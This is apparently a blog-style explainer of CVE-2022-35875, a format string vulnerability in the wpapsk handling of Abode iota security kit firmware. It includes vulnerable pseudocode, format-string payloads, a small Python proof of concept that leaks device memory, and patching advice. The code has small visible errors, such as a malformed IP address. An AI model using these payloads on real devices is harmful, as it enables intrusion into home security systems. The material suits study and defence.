In June 2022, security researchers uncovered a set of four critical format string injection vulnerabilities in Abode Systems, Inc. iota All-In-One Security Kit firmware versions 6.9X and 6.9Z. These vulnerabilities reside in the testWifiAP XCMD handler, exposing the system to severe risks like memory corruption, information leakage, and denial of service.

This post dives into CVE-2022-35875 from a practical perspective. We'll keep things simple, break down how the vulnerability works, demonstrate the flaw with code snippets, and show how attackers might exploit it. Finally, you’ll find steps to stay protected and links to key references.

What Is CVE-2022-35875?

The iota All-In-One Security Kit has an extended command (XCMD) called testWifiAP, which tests WiFi access points. However, it does not safely handle user-supplied configuration values—specifically, the wpapsk parameter (the WiFi password). Rather than treating the password as plain text, it passes it directly to internal logging or status messages using functions susceptible to format string bugs.

What’s a Format String Vulnerability?

A format string vulnerability happens when you let user input control a format string in output functions like printf. If unchecked, special format codes like %x or %n let an attacker print memory contents (info leak), crash the program, or even write to memory (arbitrary code execution).

Vulnerable Code Path

The flaw centers around how the device handles the wpapsk setting within the testWifiAP XCMD handler. Let's look at a simplified version of the handler’s code.

// Pseudocode based on firmware analysis
void testWifiAPHandler(char* ssid, char* wpapsk, int mode) {
    char log_msg[256];
    // Unsafe: using user-supplied 'wpapsk' as format string
    snprintf(log_msg, sizeof(log_msg), wpapsk);  // <-- Vulnerable!
    log_event(log_msg);
}

Step 1: Set the Malicious Configuration

Attackers first modify the wpapsk configuration value. This usually happens via a web interface or other accessible channel if not properly authenticated.

Set wpapsk to a format string

%08x.%08x.%08x.%08x

Step 2: Trigger the XCMD handler

The attacker then instructs the security kit to run the testWifiAP XCMD. This makes the handler process the malicious format string.

Step 3: Analyze the System’s Response

- Information Disclosure: System responses may now contain sensitive stack memory, such as passwords, pointers, or system secrets.
- Denial of Service: Using malformed format strings can crash the device, knocking alarms or sensors offline.
- Memory Corruption: Using format specifiers like %n could let an attacker write values to chosen addresses, potentially leading to remote code execution.

Suppose we set wpapsk to %x %x %x %x. On execution, the log might look like

Log Event: 7ffc32d 400fa120 abcd1234 00000000


Each value leaks data from the device’s stack memory.

Proof-of-Concept (PoC) Exploit

Here is a simplified Python snippet to demonstrate exploitation, assuming you have access to set the configuration via HTTP and trigger the XCMD via a request:

import requests

# The device's IP and endpoints (as documented by firmware/Abode API)
DEVICE_IP = "192.168..100"
SET_CONFIG_URL = f"http://{DEVICE_IP}/api/config";
EXEC_XCMD_URL = f"http://{DEVICE_IP}/api/xcmd";

# Step 1: Set malicious wpapsk
payload = {
    "wpapsk": "%08x.%08x.%08x.%08x"
}
# This endpoint may require authentication!
requests.post(SET_CONFIG_URL, data=payload)

# Step 2: Trigger testWifiAP XCMD
xcmd_payload = {
    "command": "testWifiAP"
}
resp = requests.post(EXEC_XCMD_URL, data=xcmd_payload)

# Step 3: Response will contain leaked memory
print(resp.text)

*Note: Do not use this on any device you don’t own or have permission to test!*

Recommendations

- Firmware Upgrade: Check with Abode’s support site for updates to the iota firmware. Apply all security patches.

Monitor Logs: Check device logs for suspicious format strings.

- Input Sanitization: All user inputs, especially those used in system commands or logs, should be properly sanitized.

References & Further Reading

- Original Advisory at Talos Intelligence
- NIST National Vulnerability Database: CVE-2022-35875
- Abode iota Product Page

Summary

CVE-2022-35875 highlights why format string vulnerabilities remain a dangerous and all-too-common flaw in embedded systems. In Abode's iota All-In-One Security Kit, careless use of user-configurable wpapsk values in the logging code allowed attackers to leak sensitive system information, destabilize devices, or even run arbitrary code.

If you own or manage any affected Abode systems, update immediately and monitor your network for unusual behavior. Sadly, IoT security is only as strong as its weakest line of code.


*Feel free to share this guide with your team or IT department. For technical questions or assistance, consult security professionals or reach out to Abode’s support.*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/28/2022 01:28:00 UTC